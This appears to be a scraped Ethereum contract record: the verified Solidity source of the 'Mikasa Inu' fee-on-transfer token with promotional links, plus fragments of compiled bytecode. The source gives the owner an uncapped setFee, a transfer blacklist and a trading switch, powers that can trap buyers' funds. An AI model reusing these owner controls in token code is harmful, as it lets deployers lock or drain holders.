fffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122083e5b77ef1d7b7679d86e8519d51f8a6bce5219f72e9eea1f5ed6860e826d19f64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 4,189 |
0x545c1c502b4ef71105879f8cf8398974f1970d8a
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/*
MIKASA ミカサ·アッカーマン
💻Website: http://mikasainu.co
🐣Twitter: https://twitter.com/MikasainuERC
💬TG: https://t.me/MikasainuETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MikasaInu is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Mikasa Inu";//////////////////////////
string private constant _symbol = "MIKASA";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 5;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 15;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2C9B25B9Ee2Dc80Ba631d7333c32b9bA2ef6eF16);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x2C9B25B9Ee2Dc80Ba631d7333c32b9bA2ef6eF16);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //1%
uint256 public _maxWalletSize = 30000000000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104165780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047b57600080fd5b806374010ece146103c25780637d1db4a5146103e25780638da5cb5b146103f857600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103585780636fc3eaec1461037857806370a082311461038d578063715018a6146103ad57600080fd5b8063313ce567146102fc57806349bd5a5e146103185780636b9990531461033857600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c65780632fd689e3146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ac0565b6105c6565b005b3480156101ff57600080fd5b5060408051808201909152600a8152694d696b61736120496e7560b01b60208201525b60405161022f9190611bf2565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a10565b610665565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b50683635c9adc5dea000005b60405190815260200161022f565b3480156102d257600080fd5b506102586102e13660046119cf565b61067c565b3480156102f257600080fd5b506102b860185481565b34801561030857600080fd5b506040516009815260200161022f565b34801561032457600080fd5b50601554610288906001600160a01b031681565b34801561034457600080fd5b506101f161035336600461195c565b6106e5565b34801561036457600080fd5b506101f1610373366004611b8c565b610730565b34801561038457600080fd5b506101f1610778565b34801561039957600080fd5b506102b86103a836600461195c565b6107c3565b3480156103b957600080fd5b506101f16107e5565b3480156103ce57600080fd5b506101f16103dd366004611ba7565b610859565b3480156103ee57600080fd5b506102b860165481565b34801561040457600080fd5b506000546001600160a01b0316610288565b34801561042257600080fd5b506101f1610431366004611b8c565b610888565b34801561044257600080fd5b506102b860175481565b34801561045857600080fd5b506040805180820190915260068152654d494b41534160d01b6020820152610222565b34801561048757600080fd5b506101f1610496366004611ba7565b6108d0565b3480156104a757600080fd5b506101f16104b6366004611bc0565b6108ff565b3480156104c757600080fd5b506102586104d6366004611a10565b61093d565b3480156104e757600080fd5b506102586104f636600461195c565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101f161094a565b34801561052c57600080fd5b506101f161053b366004611a3c565b61099e565b34801561054c57600080fd5b506102b861055b366004611996565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101f16105a1366004611ba7565b610a3f565b3480156105b257600080fd5b506101f16105c136600461195c565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611c47565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611d8e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611d5d565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611dd0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b8565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611c47565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611c47565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c0816111f2565b50565b6001600160a01b03811660009081526002602052604081205461067690611277565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611c47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611c47565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611c47565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611c47565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611c47565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816112fb565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611c47565b60005b82811015610a395781600560008686858181106109ea576109ea611d8e565b90506020020160208101906109ff919061195c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611d5d565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611c47565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611c47565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156110b157601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611ced565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b601854601654919250821015908210610ffe5760165491505b8080156110155750601554600160a81b900460ff16155b801561102f57506015546001600160a01b03868116911614155b80156110445750601554600160b01b900460ff165b801561106957506001600160